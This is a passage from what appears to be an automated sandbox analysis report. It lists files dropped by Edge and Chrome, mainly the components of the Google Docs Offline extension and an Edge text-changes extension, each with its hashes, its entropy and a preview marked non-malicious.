Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7708_215138373\1189237d-c1fa-446b-949a-4ab4df67d943.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7708_215138373\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7708_215138373\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7708_215138373\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7708_215138373\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 22:11:32 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.971810124331414
Encrypted:	false
SSDEEP:	48:86ddKT2K+HJidAKZdA19ehwiZUklqehAy+3:86678/y
MD5:	C5B799698B25BC5220466D23E453FC22
SHA1:	37BAAC6F965D6C0036D86974513A71038DBCE69D
SHA-256:	C01E1B50DB3244734341A61C0098DA9DD555293909658458D7FD6ECD9647A600
SHA-512:	EBB02C6492D4F451934960D4ACB1FEC061039B67D7890C3324D6C26A4037AE6F357FB51886A7480DC8CE63D6A936794DAB5357D3EEA350CCDA50F5C9039DBC7B
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......j<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............g.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 22:11:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9871192204700487
